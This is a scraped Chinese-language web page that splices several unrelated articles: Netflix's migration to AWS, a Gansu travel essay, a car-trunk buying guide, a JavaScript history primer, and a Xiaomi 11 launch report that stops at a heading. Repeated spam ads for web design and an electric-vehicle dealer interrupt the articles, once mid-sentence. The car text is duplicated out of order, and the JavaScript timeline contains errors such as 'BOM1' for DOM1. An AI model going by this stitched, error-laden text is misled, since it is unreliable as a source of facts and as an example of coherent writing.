隨着兩家合作消息的傳開,2010年4月,紐約時報還發表了一篇關於Netflix和AWS業務的文章,說兩者將進行業務合作。請注意其中的“peculiar(特有)“一詞,表示那時候企業上雲是新聞,而上到競爭對手的雲上更是新聞。 

 

當時Netflix還諮詢了一些業界專家,專家們認為這種做法非常瘋狂,因為當時很少有企業這麼做,而且企業業務上雲在當時還是一個非常不成熟的策略。但Netflix決定堅持下去,成為首批上雲企業客戶之一。 

接下來,Netflix實驗性地將一些沒有真正面向客戶的應用遷移到AWS上。首先從電影編碼開始,當時其只有數據中心沒有足夠的容量來容納編碼服務器。有一次Netflix申請3000台服務器,結果AWS一個小時內就交付了,這就驗證AWS資源交付的彈性和及時性。而且隨着這項工作的完成,不用的機器即被釋放,這證明了雲計算的“按需使用和付費”特徵。

接下來驗證視頻服務QoS日誌上雲。隨着進入數據中心數據庫的流量越來越多,這些流量正在溢出,而且自己的機房缺乏足夠的存儲空間來保存想要的信息。於是,Netflix利用S3來存儲數據,利用EMR來處理數據。Netflix是Hadoop早期用戶之一,曾與AWS合作將Hive作為基於EMR的處理選項。

 

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

 

到2010年,可行性驗證基本完成,Netflix認為上雲看起來是可行的。於是2011年,Netflix作出決定,不再擴容自有IDC。

 

三、進行

 

Netflix開始真正地要在AWS雲上起飛了。從最簡單的API服務開始,然後是最簡單的Web網頁,然後是更多的API和網頁。

 

到2010年底,Netflix成功地將網站前端都遷移到了AWS上,但後端依然在自有數據中心內。

 

用戶訪問流量還是進入其自有數據中心,但是有選擇地將部分流量利用HTTP Redirect將請求轉向AWS Cloud。這其實也就是我們現在常常提到的金絲雀模式,通過導入部分用戶到新環境上來驗證和逐步地完成系統遷移。

 

 

接下來是數據遷移。2010年的主要工作之一,是將主數據系統放在數據中心,將副本放在雲中,並將數據從本地持續地同步到雲中。

 

 

2011年,Netflix決定將所有數據放到雲上。其中一個問題是如何做數據備份。Netflix沒有採用當時常見的利用本地數據中心中的磁帶來備份雲中數據的做法,而是充分利用了S3的安全性和持久性,用不同的賬戶在不同的AWS區域中創建S3存儲桶,然後將生產數據導入生產區域S3存儲桶,再經過壓縮和加密並傳送到容災區域的桶中。利用不同的賬戶,主要是從安全角度考慮。後來,AWS發布了Glacier后,Netflix利用它來做長期歸檔的數據存儲。

 

 

 

到2015年,除了計費和賬單系統外,其餘所有系統都已經遷移到AWS上了。到2016年1月4日,Netflix完成了最後這兩個系統的遷移,詳細信息請參加其公司博客https://netflixtechblog.com/netflix-billing-migration-to-aws-451fba085a4。

 

 

四、完成

 

2016年2月,Netflix宣布其上雲遷移工作全部完成。這一年,Netflix的用戶數是2008年開始上雲遷移時候的8倍,而用戶的月度觀看視頻數則有幾千倍的增長,用戶遍布全球超過130個國家,Netflix也成為了一家國際化視頻服務提供商。

 

到2017年,除了CDN由其自建外,Netflix使用AWS來滿足其幾乎所有計算和存儲需求,包括數據庫、分析、建議引擎、視頻轉碼等數百種功能。而且,Netflix系統的可用性在持續增加,正在不斷接近99.99%的既定目標。

  • Netflix的視頻服務在高峰時段佔據了高達37%的Internet流量。相比之下,YouTube 僅佔到15.6%,網頁瀏覽約 6%, Facebook約2.7%, Amazon Instant Video 約2.0%。

  • 在AWS上共利用超過10萬個 EC2 Instances 的80萬CPU Cores,且在此基礎上有約 20% 的波動。

  • 在每個服務區域上的 AWS Elastic Load Balancing 的流量超過 50Gbps

  • 在 S3 上存儲和管理超過15億個對象的 60 PB 的數據。其中每天要丟棄超過 400TB 的過期數據以及新增 600TB 的數據。

 

2016年Netflix在AWS上的系統架構:

儘管降低成本支出並不是Netflix上雲的主要出發點之一,但是實際上,現在每個視頻的播放成本是當初利用自有數據中心的幾分之一,這是一種非常可觀的額外收益。這主要歸功於雲的彈性,使得Netflix可以持續地優化實例類型,近乎實時地增加或減少所用的資源,而不需要維持大規模的備用容量,以及公有雲的規模不斷擴大帶來的單位成本下降。 

那為什麼需要7年時間才能完成上雲遷移呢?這是因為全業務上雲是一項艱巨的工作,需要做好多的艱難決策。可以想到的是,最簡單的方式是將所有系統緣分不斷地搬到雲上,但是隨着系統一起搬過去的還有你在傳統數據中心中遇到的所有問題和限制。因此,Netflix選擇了一條另外的道路,重構所有系統,徹底改變公司IT運營方式,將單體應用改變為微服務架構應用、重構數據模型、使用NoSQL數據庫。將過去那種預算嚴格受控制、版本發布嚴格受管控、花幾周時間來做物理容量擴容的傳統方式,改變為持續集成和發布、技術團隊獨立做決策、基於松耦合DevOps環境的新方式。這種方式使得Netflix花了七年時間才完成上雲之旅,但是正是這種轉變,也使得它成為了一家國際化的網絡視頻服務提供商。 

五、筆者感受

 

大膽決策,開先河。不說10年前,就是在現在,要不要上(公有)雲、源代碼和核心數據能不能上雲、雲上安全怎麼搞、以什麼步驟上雲、應用要不要做架構升級等等這些問題,依然是評估上雲時會引發爭論的話題。而十年前的Netflix,從自身業務出發,做出了艱難決策,決定把資金用在核心業務上,將數據中心外包給公有雲,這前無來者,開了業界先河。要為他們的眼光、勇氣和決心點贊!

先易后難,保安全。Netflix並非倉促上陣,而是總體上執行先易后難、先驗證再推廣的策略。從最簡單的API、網頁前端、離線視頻編碼系統等開始,做技術可行性驗證。驗證成功后,再推廣至其它系統,最後做最核心的賬單和支付系統遷移,在保障業務穩定和用戶體驗的前提下,花了七年時間才完成全部遷移工作。要為他們的務實精神點贊!

以終為始,高標準。Netflix並沒有簡單地將其IT系統從其自有數據中心搬到AWS上,而是以終為始,高標準完成遷移工作。“終”是系統的可用性要達到四個九,確保用戶體驗。要實現這個目標,需要在遷移上雲前對應用做分佈式改造。只有這樣,才能充分利用雲的彈性和分佈式能力。而且,Netflix主要利用的是AWS的IaaS,自研了全球分佈的PaaS平台。一方面是因為當時AWS所提供的是以IaaS為主,還考慮到了供應商綁定以及未來多雲等可能。這些做法都具有開創性和前瞻性,不僅這種做法對後來更多用戶如何上雲極具參考價值,而且Netflix將其PaaS中很多組件都開源了,直接促進了行業發展。要為他們對自己的嚴格要求和對業界的貢獻點贊!

 

參考資料:

  • 復盤Netflix發展史:如何用20年成為一家千億美元公司?,克魯斯2018年5月14日。https://www.gelonghui.com/p/179693

  • Completing the Netflix Cloud Migration,https://media.netflix.com/en/company-blog/completing-the-netflix-cloud-migration,2016.1

  • YouTube video,Globally Distributed Cloud Applications at Netflix,October 2012,Adrian Cockcro

  • Migrating to Cloud – Lessons from Netflix, Brought Up to Date,Adrian Cockcroft,https://media.netflix.com/en/company-blog/completing-the-netflix-cloud-migration

  • Companies Slowly Join Cloud-Computing,By Brad Stone and Ashlee Vance,https://www.nytimes.com/2010/04/19/technology/19cloud.html

 

感謝您的閱讀,歡迎關注我的微信公眾號:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

品讀迭部_網頁設計公司

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

初到迭部,就被這優美的景緻深深地迷住了。

這是一片被自然格外眷顧的土地,森林密布,群峰逶迤高聳,有的雄奇峻偉,有的博大秀美,河谷深切幽長。這裏像是一塊世外桃源,偶爾遇見幾個村民,遠遠地露出燦爛的笑容,熱情地沖我們招手。

在蜿蜒卻平坦的山路上行駛,一路山環路轉,天高雲清,蒼莽的大山如屏似劍,層層疊疊,間或有幾處村落,如珠落玉盤般點綴其間。在一處叫日爾那的村莊,我們發現這村子的每一道門、每一扇窗都蘊藉着厚重的傳統,同時又不乏現代文明的對接。這個村支部書記的弟媳竟是英國人,兒媳是著名的歌唱家,他們的家庭布置,保留着藏民的一切傳統,而家用電器也樣樣齊備。

多年來,各地的古街道、古建築不斷快速消失,幸好,迭部還保留着這些古老的農家小院。曾經看到一篇文章,提到西方不少的現代化富國,卻把“落後”村鎮的歷史文化遺產保護得極好,使之成為他們炫耀於世人的國寶。一個國家的現代與文明和歷史文化遺產有着千絲萬縷的聯繫,誰懂得這一點,誰就擁有了古今互動的輝煌。想必迭部已滲透了這些道理,所以才有如此和諧的景緻。

1935年9月13日-15日,中國工農紅軍長征途經現旺藏鄉政府駐地東南側茨日那村,毛澤東曾居住在該村一幢木樓上,並在這裏向紅四團下達了“以三天的行程奪取臘子口”的命令。在這個與中國革命歷史密切相關的小村莊的河邊,有兩棵大樹,據說紅四團曾在樹底下召開會議。如今,其中一棵經不起歲月的風霜轟然倒地,橫跨在河上,形成一座自然的“獨木橋”,另一顆仍筆直地矗立,見證歷史。

臘子口系藏語之轉音,意為“險絕的山道峽口”,是迭部通往漢族地區的門戶和重要交通孔道。臘子口周圍群山聳立,峽口如刀劈斧削,臘子口河從峽口奔涌而出。沿着盤山公路一路前行,迷濛的細雨不知何時悄然灑落,雨林里的生命籠罩着一層層神秘的面紗。動物都悄無聲息,大多數生物躲藏在豐盛茂密而又綠意盎然的植物簾幕後面,隱秘而又安靜地生活着。

漫步於臘子口的山谷棧道,山崖的石壁上鋪滿苔蘚,一股山泉從茂密的森林深處湧出,經過這石壁時,像不忍攪擾這寂靜的山林,輕輕地放慢了腳步,柔緩地漫過來,在山腳下匯成溪流,又流向山底。空山不見人,我們卻在密林深處看到了一個裝滿了野菜的竹筐,同行的一個人上前背起竹筐,不想試了幾回,這個壯年小伙卻被壓得站不起來。山民天天如此負重,讓我們不由地對他們的隱忍與堅強心生敬意。

“天險臘子口”是舉世聞名的臘子口戰役紀念地。1935年9月,毛澤東、周恩來率領中國工農紅軍第一方面軍,越過雪山草地后,全面攻克臘子口天險,使國民黨企圖阻擋紅軍北上抗日的陰謀徹底破產。1980年,甘肅省人民政府在臘子口戰役紀念地修建了紀念碑,紀念碑南、西兩面鐫刻着楊成武將軍親筆題字“臘子口戰役紀念碑”;北面鐫刻着省人民政府對臘子口戰役的簡介和對革命烈士仰慕緬懷之碑文:“臘子口戰役的輝煌勝利將永遠彪炳我國革命史冊;在臘子口戰役中光榮犧牲的革命烈士永垂不朽!”

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

山腳下,一座座小木屋在雨幕中安靜地佇立着,周圍茂盛的植物以及盛開的花朵毫無保留地張揚着她們的美麗。歷史成為永久的過去,卻可以激勵我們珍惜今天的所有。

迭部的美是一種整體性的空間美,一種生活意境美,一種文化山水美。它與我們的心靈如此貼近,以至於所有的偶遇都彷彿是早有默契。山、水、森林、動物和轉經的風車,此時此地都成為這風景的一部分。時常會經過一片片草場,悠閑的馬和牛點綴在林木蓊鬱、堆翠疊綠之中,如此和諧美妙。

一路上,叫貢保的小伙子陪伴我們,他笑聲爽朗,為我們的行程增添了不少樂趣。貢保的解說下了功夫,他的解說是根據自己的體驗和理解對迭部做出的解讀。這樣的解說,是獨一份的帶着鮮活體驗的、獨屬於貢保的解說。

言談中貢保不經意透露出憂慮,他提醒說,過去植被比現在茂密得多,現在我們看到的已經是被破壞過的植被,我不知道將來會有怎樣的後果。

一個導遊能有如此的悲憫情懷,“先天下之憂而憂”,我不由地對他的經歷產生好奇。他很爽快地告訴我,在蘭州上了幾年大學,畢業后又當導遊。但是父母希望他回到家鄉,他便依依不舍地告別蘭州,回到迭部,當上了小學語文老師。這幾天當導遊,是縣裡通知他得“重操舊業”幾天。他有一個美好的願望,希望能開辦一個旅遊公司,通過旅遊去保護迭部的生態環境。

正是因為這些可敬可愛的迭部人,才使我們深切地感受到自然的眷顧以及人文的關懷,他們以各自不同的表達方式對土地、自然、家園做最高形式的致敬,使我們回歸一種悠久的傳統中。

據說“迭部”藏語意為“大拇指”。傳說在古代,有一位名叫涅甘達娃的神仙路過此地,被密密匝匝的山石擋住了去路。他伸出大拇指輕輕一摁,頓時,山石開裂,驚天動地,顯露出一條長長的通道來。這個美麗的神話傳說,聽起來卻是如此貼切,因為不論是這裏的景緻還是勤勞善良的人民,都一樣令我們由衷地豎起“大拇指”。

本版圖片除署名外均來自網絡

本站聲明:網站內容來http://www.societynews.cn/html/wh/fq/,如有侵權,請聯繫我們,我們將及時處理

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

就兩點!有面子 大空間!7萬起至30萬我看好這幾款!_網頁設計公司

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

明銳的1。4T車型擁有着非常不錯的性能,發動機能夠提供150匹馬力和250N·m的最大輸出,百公里加速僅為8。39s,相較於同門兄弟的大眾車型要快上不少,不知道這屬不屬於彩蛋。雪佛蘭-樂風RV優點:空間實用缺點:噪音偏大推薦人群:正準備要組建家庭的年輕人推薦車型:2016款 1。

作為有車一族的你們,肯定有過這樣的經歷:周末一家人去超市大掃貨,看見很多想買的東西都有折扣優惠,結果發現自己的車尾廂裝不下,買了也帶不回家;過年時候在家鄉收穫到了一大堆的土特產,正準備要裝車帶走時,發現自己的車尾廂裝不下那麼多東西。

尾廂空間的大小,成為了不少人衡量一輛車值不值得購買的條件之一,對於上班一族而言,也許尾廂空間不太重要,但是“養兵千日 用兵一時”,總會有能夠用得上的一天,所以有一個大尾廂,還是很有必要的。

很多人聽到大尾廂,就很自然會想到旅行車或者SUV,沒錯,旅行車的確是擁有這大尾廂,但是在國內推出旅行版車型的廠商很少,消費者的選擇很少,除了旅行車之外,其實也有大尾廂車型可供選擇。

上汽大眾-朗行

優點:尾廂空間大

缺點:懸架支撐偏弱

推薦人群:同時追求動力與空間的人群

推薦車型:2015款 230TSI DSG豪華版(16.29萬)

朗行長得實在是太像旅行車了,但其實它是一款大兩廂車,車頭部分跟朗逸沒有什麼區別,尾部造型過度非常協調,整輛車看起來比朗逸好看很多,推薦購買的230TSI DSG豪華版車型,雖然指導價高達16.29萬,但是算上終端優惠之後,裸車價在14萬以內。

內飾已經不用再評價了,就是那套千年不變的內飾設計,朗行的亮點在於它的後備廂,尾廂空間規整,後排座椅放倒后更加是帶來誇張的空間表現,尾廂的開口也很大,放置行李時比較方便。

1.4T加上7速雙離合變速箱的動力總成,油耗表現比1.6L車型還要出色,百公里油耗平均在7L左右,如果是1.4T的手動擋車型還能更加省油,與1.6L車型相比,除了油耗表現更加好,還能夠提供更加充沛的動力,這明顯是更加好的選擇。

斯柯達-明銳

優點:外形帥氣,動力強勁

缺點:品牌影響力低

推薦人群:需要大空間轎車的人群

推薦車型:2017款 280TSI DSG尊行版(17.99萬)

幾年前的斯柯達車型,說實話,真的不太符合國人的審美,經過時間的沉澱,現在斯柯達的外形設計,就像是去了一趟韓國一樣,時尚靚麗了許多,最喜歡的就是明銳的頭燈設計,真的像人的眼睛,還帶有眼睫毛。

三廂轎車使用掀背式尾廂門,這就是明銳的一大特色,也是因為掀背式尾廂門,得到了超大的尾廂開口,超大的尾廂空間,千萬不要因為它是三廂車就看小它。

明銳的1.4T車型擁有着非常不錯的性能,發動機能夠提供150匹馬力和250N·m的最大輸出,

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

百公里加速僅為8.39s,相較於同門兄弟的大眾車型要快上不少,不知道這屬不屬於彩蛋。

雪佛蘭-樂風RV

優點:空間實用

缺點:噪音偏大

推薦人群:正準備要組建家庭的年輕人

推薦車型:2016款 1.5L 自動智行版(8.99萬)

二三十歲的年輕人,剛剛成立了自己的家庭,結婚生子,他們的生活支出不少,需要一輛經濟實惠,同時又要可靠耐用、空間夠大,雪佛蘭的樂風RV就是這麼一輛車。

作為一款15年年底上市的車型,設計時尚,非常符合時下年輕人的審美,尤其是稱為“晴空藍”的車身顏色,非常亮眼,高配車型的遠近光一體式氙氣大燈造型很好看,尾部造型協調,就像是一輛縮小的旅行車一樣。

內飾的設計雖然簡單,但是很有層次感,整體而言給人一種簡約居家的感覺,最大的亮點之處就是高配車型的儀錶盤造型,螺旋式的指針非常具有新意,轉動的時候就像雷達在掃描一樣。

如果與文中提到其它幾款車型相比較,樂風RV的空間表現一般,但是不要忘記,樂風RV只是一輛小型車,作為一輛大一號的小型車,在同價位同級別的車型中,它的空間表現出色,後排腿部空間寬裕,尾廂空間規整。

動力方面,樂風RV使用1.5L自然吸氣發動機,有5MT和4AT兩台變速箱選擇,5MT車型只有一款,可以看出廠家對4AT很有信心,變速箱實際的表現也是不錯,只要不是非常激烈的駕駛風格,完全夠用。

奔馳C級 旅行轎車

優點:典雅、實用

缺點:售價高昂

推薦人群:經濟實力雄厚的人群

推薦車型:2015款 C 200 旅行轎車(41.90萬)

奔馳C級旅行轎車,在國內一直是信仰般存在,即使算上市場終端優惠,C 200 旅行轎車裸車價都要37萬左右,相較於國產的長軸距C級三廂版的售價,毫無性價比可言,但是它真的不值得一提嗎?

奔馳C級旅行轎車所有的亮點都集中於尾部,與三廂版完全不同的造型,尾燈的樣式也不一樣,點亮之後有點像上一代E級轎車的尾燈,整個尾部顯得很扁,並且很修長,如果不是旅行車的愛好者,估計不太會喜歡。

內飾還是那套奔馳最新的家族式設計,簡約優雅,更加體現出旅行車的理念,檔次感十足。奔馳C級旅行轎車是標準軸距版本,所以後排座椅的空間還不能用寬裕來形容,不過寬大的後備廂為它爭色不少,將後排座椅放倒后還能夠形成比較平整的地台,非常實用。

總結

國內消費者好像永遠都不會滿足於車廂的空間,所以才造就了今天火熱的SUV市場,雖然SUV有着較大的空間表現,但是油耗偏高是普遍的問題,轎車反而在油耗這方面做得相對出色,像是朗行和樂風RV這種大兩廂車型,掀背式的明銳,冷門的C級旅行轎車,都夠用大部分人的需求。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

JavaScript的歷史由來及簡介_網頁設計公司

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

JavaScript的歷史由來及簡介

前言

這次寫一篇對於JavaScript的簡介,我們知道的編程語言有很多種,比如Java、C++、Python等等,每種編程語言都有其獨具的特色,不論是語法格式還是表達形式,都能讓每個程序員沉澱在知識的海洋里難以自拔。即每種編程語言都有無限的延展性,但如果我們考慮問題的時候追溯其根源,其實也不難發現每種編程語言都具有共同的初心,最直白的話就是人與計算機進行溝通的語言,在現實生活中,見什麼人說什麼話我們都很清楚,那在與計算機溝通的世界中,做什麼事用什麼編程語言溝通也是同樣的道理,前提就是我們要了解這些編程語言,在你需要選擇的時候做出正確的判斷,這也正是我寫此篇文章的意義。

JavaScript的歷史由來

 

 
在1994年,當時的網景公司(Netscape)憑藉Navigator這個瀏覽器成為了Web時代開啟最著名的第一代的互聯網公司。當時所用的第一版本的瀏覽器就是下圖中的瀏覽器,相信有很多年輕朋友都沒有見過這種瀏覽器。如果大家回想十年前或是十五年前,大家用的瀏覽器應該是IE瀏覽器,那個時候的瀏覽器跟現在的比如說谷歌瀏覽器火狐瀏覽器等相比而言,那就是天壤之別了。

 

 

 

像上圖中這是最早版本的瀏覽器,整個瀏覽器都是靜態的,也就是用HTMLCSS寫的,並沒有像今天的各種瀏覽器一樣具有各種各樣的動態效果了,比如像網頁的圖片輪播、鼠標懸浮切換等效果。

網景公司就想在原來的靜態頁面的基礎上添加一些動態的效果,這時候網景公司出來一個很牛的人物叫布蘭登·艾奇,他用不到兩周的時間就設計出了能在網頁上實現動態效果的編程語言。

 

 

就是上圖中的人設計的這中能實現網頁動態效果的編程語言,並將其編程語言命名為JavaScript

為什麼會命名為JavaScript呢?原因是在當時,Java非常火,網景公司希望借用Java在當時的名氣來進行推廣。其實事實上呢,JavaScript除了語法上有點像Java外,別的地方都跟Java沒有任何關係。

 

 

JavaScript和ECMAScript的關係

從上面講的JavaScript的由來中,我們就知道JavaScript由網景公司的布蘭登·艾奇開發出來的,一年後,微軟又模仿JavaScript開發出了一種編程語言叫JScript,再後來,陸續又有別的商家推出JavaScript的不同實現語言。這就導致JavaScript的語法和特性日益混亂,其標準化問題被提上日程。最終由歐洲計算機製造商協會(ECMA)以JavaScript1.1為藍本,制定了【ECMA-262】標準,並由此標準定義了一種新腳本語言ECMAScript。隨後,ISO也採用ECMAScript作為標準,各瀏覽器廠商便紛紛開始將ECMAScript作為各自JavaScript實現的基礎。

 

 

那到底JavaScriptECMAScript有什麼關係呢? ECMAScript其實並不等同於JavaScript,它只是JavaScript的核心標準(語法、類型、語句、關鍵字、保留字、操作符、對象),而JavaScript還包括文檔對象模型(DOM)和瀏覽器對象模型(BOM)等。其中各主流瀏覽器對ECMAScript的支持都還不錯,但對DOM的支持相差較大,對於BOM一直沒有相關標準。最後再簡單總結一下就是:ECMAScript是一種語言標準,JavaScript是對ECMAScript的一種實現

JavaScript版本

  • 1997年06月 :發布首版。

  • 1997年06月:修改規範完全符合ISO/IEC 16262國際標準。

  • 1998年6月,ECMAScript 2.0版發布。

  • 1999年12月,ECMAScript 3.0版發布,成為JavaScript的通行標準,得到了廣泛支持。

  • 1999年12月:增加正則、更好的文字處理、新的控制語句、try/catch異常處理、更加明確的錯誤定義,数字輸出格式等等。放棄發布。

  • 2007年10月,ECMAScript4.0版草案發布,對3.0版做了大幅升級,預計次年8月發布正式版本。草案發布后,由於4.0版的目標過於激進,各方對於是否通過這個標準,發生了嚴重分歧。以Yahoo、Microsoft、Google為首的大公司,反對JavaScript的大幅升級,主張小幅改動;以JavaScript創造者Brendan Eich為首的Mozilla公司,則堅持當前的草案。

  • 2008年7月,由於對於下一個版本應該包括哪些功能,各方分歧太大,爭論過於激進,ECMA開會決定,中止ECMAScript 4.0的開發,將其中涉及現有功能改善的一小部分,發布為ECMAScript3.1,而將其他激進的設想擴大範圍,放入以後的版本,由於會議的氣氛,該版本的項目代號起名為Harmony(和諧)。會後不久,ECMAScript 3.1改名為ECMAScript 5。

  • 2009年12月:完善了ECMASript 3版本、增加”strict mode,” (嚴格模式)、以及新的功能,如getter和setter、 JSON庫支持和更完整的對象屬性。ECMAScript 5.0版正式發布。Harmony項目則一分為二,一些較為可行的設想定名為JavaScript.next繼續開發,後來演變成ECMAScript 6;一些不是很成熟的設想,則被視為JavaScript.next.next,在更遠的將來再考慮推出。

  • 2011年06月:ECMAscript 5.1版發布,並且成為ISO國際標準(ISO/IEC 16262:2011)。

  • 2013年3月,ECMAScript 6草案凍結,不再添加新功能。新的功能設想將被放到ECMAScript 7。

  • 2013年12月,ECMAScript 6草案發布。

  • 2015年06月:第六版的名字有很多,可以叫ECMAScript6 (ES6) ,也可以叫ECMAScript 2015 (ES2015) 。

  • 2015年6月17日,ECMAScript 6發布正式版本,即ECMAScript 2015。

  • 2016年06月:也被稱為ECMAScript 2016。完善ES6規範,還包括兩個新的功能:求冪運算符(*) 和array.prototype.includes方法。

  • 2017年06月:增加新的功能,如併發、原子操作、Object.values/Object.entries、 字符串填充、promises、 await/asyn等等。

JavaScript的組成部分

 

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

 
JavaScript的三個主要組成部分是:ECMAScript(核心),DOM(文檔對象模型),BOM(瀏覽器對象模型)

 

ECMAScript(核心)

【ECMA-262】並沒有參照web瀏覽器,規定了語言的組成部分,其具體內容包括語法、類型、語言、關鍵字、保留字、操作符、對象等。

ECMAScript的兼容

  1. 支持【ECMA-262】描述的所有“類型、值、對象、屬性、函數以及程序語法和語義” 。

  2. 支持Unicode字符標準。

  3. 添加【ECMA-262】沒有描述的更多“類型、值、對象、屬性和函數”,【ECMA-262】說的這些新增特性,主要是指該標準中沒有規定的新對象和對象的新屬性。

  4. 支持【ECMA-262】中沒有定義的“程序和正則表達式的語法”。也就是說可以修改和擴展內置的正則表達式語法。

DOM(文檔對象模型)

文檔對象模型(DOM)是針對XML但經過擴展用於HTML的應用程序編程接口(API)。DOM把整個頁面映射為一個多層次節點結構。HTML或者XML頁面中的每個組成部分都是某種類型的節點,這些節點又包含着不同類型的數據。

 

 

其實說白了,文檔對象模型(DOM)就是操作網頁上的那些標籤,來實現動態的效果。

在DOM中,頁面一般可以用分層節點圖表示。

 

 

DOM級別

  • DOM1級於1998年10月成為W3C的推薦標準。BOM1由兩個模塊組成分別是DOM coreDOM HTML

  • DOM core:規定如何映射基於XML的文檔結構,以便簡化對文檔中任意部分的訪問和操作。

  • DOM HTML:在DOM core的基礎上加以擴展,添加了針對HTML的對象和方法。

  • DOM2級在原來DOM的基礎上有擴充了鼠標和用戶界面事件、範圍、遍歷等細分模塊,通過對象接口增加了對css的支持。包括以下模塊:

  1. DOM Views(DOM視圖):定義了跟蹤不同文檔視圖的接口。

  2. DOM Events(DOM事件):定義了事件與事件處理的接口。

  3. DOM Traversal and Range(DOM遍歷和範圍):定義了遍歷和操作文檔的接口。

  • DOM3級則進一步擴展了DOM,引入了加載和保存模塊以統一方式加載和保存文檔的方法;新增了DOM驗證模塊主要還是驗證文檔的方法。

BOM(瀏覽器對象模型)

瀏覽器對象模型(BOM)是處理瀏覽器窗口框架,我們習慣上把所有針對瀏覽器的JavaScript擴展算作是BOM的一部分。包括以下:

  1. 彈出新瀏覽器窗口的功能。

  2. 移動、縮放和關閉瀏覽器窗口的功能。

  3. 提供瀏覽器所加載頁面的詳細信息的navigator對象。

  4. 提供瀏覽器所加載頁面的詳細信息的location對象。

  5. 提供用戶分辨率詳細信息的screen對象。

  6. 對cookies的支持。

  7. 像XMLHttpRequest和IE的ActionXobject這樣的自定義對象。

瀏覽器對象模型(BOM)其實很簡單,它包含了當前瀏覽器上的一些操作,比如說像關閉按鈕、刷新按鈕、前進和後退按鈕等等。

綜上來說,JavaScript就包含了以上這三部分內容,第一部分就是核心基礎語法,這是非常非常重要的東西,有了核心基礎的鋪墊,我們才能後續的學習文檔對象模型(DOM)和瀏覽器對象模型(BOM).文檔對象模型(DOM)就是操作一些網頁上的一些標籤元素,來實現網頁上的動態效果。而瀏覽器對象模型(BOM)就是像比如說滾動的行為,點擊回到頂部,還有刷新,前進,後退等操作。這些特性就是我們需要了解的內容,在你後續進行詳細學習的時候,就帶着這些特性疑問去學習,會有事半功倍的效果。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

小米11 正式發表:首款搭載高通 S888 5G 旗艦手機降臨!售價約 17,217 元起_網頁設計公司

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

今(28)日晚間,小米搶在 2020 年的倒數幾天發表了「小米11」新機,也是全球首款搭載高通最新的 Snapdragon 888 行動平台的 5G 旗艦手機。除了強悍的性能,這次包括螢幕、玻璃、音效都有明顯升級,相機配置 1.08 億像素三鏡頭主相機維持旗艦水準。至於售價則是比起預估便宜許多,小米11 起售價僅約 17,217 元起。

小米11 正式發表:首款搭載高通 S888 5G 旗艦手機降臨!售價約 17,217 元起

在迎接 2021 年之前,小米搶在 2020 年再次發表新一代的小米旗艦新機「小米11」,也是之前就已知道是首款搭載高通 S888 新旗艦處理器的機種。雖然小米11 的外型在之前就已經提早被洩露,不過實際發表的機身尺厚度和重量還是比預期來得更吸引人。小米11 在機身厚度僅 8.06mm(比起前一代薄了 0.9mm)、機身重量僅 196g(比起前一代減輕 12g):

效能

小米11 為全球首款搭載 Qualcomm Snapdragon 888 5G 行動平台、配備最高 12GB LPDDR5 RAM、256GB ROM:

小米公布實測安兔兔跑分達到 745,942 分:

Geekbench 效能實測單核跑分 1135 分、多核跑分 3818 分:

Wi-Fi 連線方面,小米11 採用全新的 WiFi6 增強版,在網速比起之前 WiFi6 標準版快 2.1 倍、最大下載速度高達 3.5Gbps:

螢幕

